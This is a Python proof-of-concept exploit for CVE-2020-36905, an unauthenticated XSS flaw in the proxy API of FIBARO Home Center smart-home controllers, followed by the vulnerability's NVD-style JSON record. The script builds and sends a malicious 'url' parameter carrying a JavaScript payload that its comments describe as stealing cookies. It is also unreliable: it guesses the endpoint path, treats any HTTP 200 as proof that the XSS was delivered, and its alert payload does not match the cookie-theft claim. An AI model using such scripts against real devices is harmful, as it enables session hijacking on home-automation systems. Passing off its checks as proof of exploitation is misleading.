CVE-2020-36905

import requests # CVE-2020-36905 PoC - FIBARO Home Center XSS via Undocumented Proxy API # Target: FIBARO Home Center with proxy API endpoint def exploit_cve_2020_36905(target_url, payload): """ Exploit for CVE-2020-36905: Unauthenticated XSS via proxy API url parameter Args: target_url: Base URL of FIBARO Home Center (e.g., http://192.168.1.100) payload: Malicious JavaScript payload to inject Returns: bool: True if request successful, False otherwise """ # Encode the payload for URL injection encoded_payload = requests.utils.quote(payload) # Construct the malicious URL targeting the undocumented proxy API # The vulnerable endpoint is typically: /api/proxy?url=<malicious_url> exploit_url = f"{target_url}/api/proxy?url={encoded_payload}" try: # Send the exploit request (no authentication required) response = requests.get(exploit_url, timeout=10) print(f"[+] Request sent to: {exploit_url}") print(f"[+] Status code: {response.status_code}") if response.status_code == 200: print("[+] Exploit request successful - XSS payload delivered") return True else: print(f"[-] Unexpected status code: {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Request failed: {str(e)}") return False # Example usage with basic XSS payload if __name__ == "__main__": target = "http://192.168.1.100" # Basic XSS payload to steal cookies xss_payload = "javascript:alert(document.cookie)" print("CVE-2020-36905 Exploit Test") print("=" * 50) exploit_cve_2020_36905(target, xss_payload)

{"cve": {"id": "CVE-2020-36905", "sourceIdentifier": "[email protected]", "published": "2026-01-06T16:15:45.283", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "FIBARO System Home Center 5.021 contains a remote file inclusion vulnerability in the undocumented proxy API that allows attackers to include arbitrary client-side scripts. Attackers can exploit the 'url' GET parameter to inject malicious JavaScript and potentially hijack user sessions or manipulate page content."}, {"lang": "es", "value": "FIBARO System Home Center 5.021 contiene una vulnerabilidad de inclusión remota de ficheros en la API de proxy no documentada que permite a los atacantes incluir scripts arbitrarios del lado del cliente. Los atacantes pueden explotar el parámetro GET 'url' para inyectar JavaScript malicioso y potencialmente secuestrar sesiones de usuario o manipular el contenido de la página."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "ACTIVE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "LOW", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-829"}]}], "references": [{"url": "https://cxsecurity.com/issue/WLB-2020030140", "source": "[email protected]"}, {"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/178269", "source": "[email protected]"}, {"url": "https://packetstorm.news/files/id/156869", "source": "[email protected]"}, {"url": "https://www.exploit-db.com/exploits/48240", "source": "[email protected]"}, {"url": "https://www.fibaro.com", "source": "[email protected]"}, {"url": "https://www.vulncheck.com/advisories/fibaro-system-home-center-remote-file-inclusion-via-proxy-api", "source": "[email protected]"}, {"url": "https://www.zeroscience.mk/en/vulnerabilities/ZSL-2020-5563.php", "source": "[email protected]"}]}}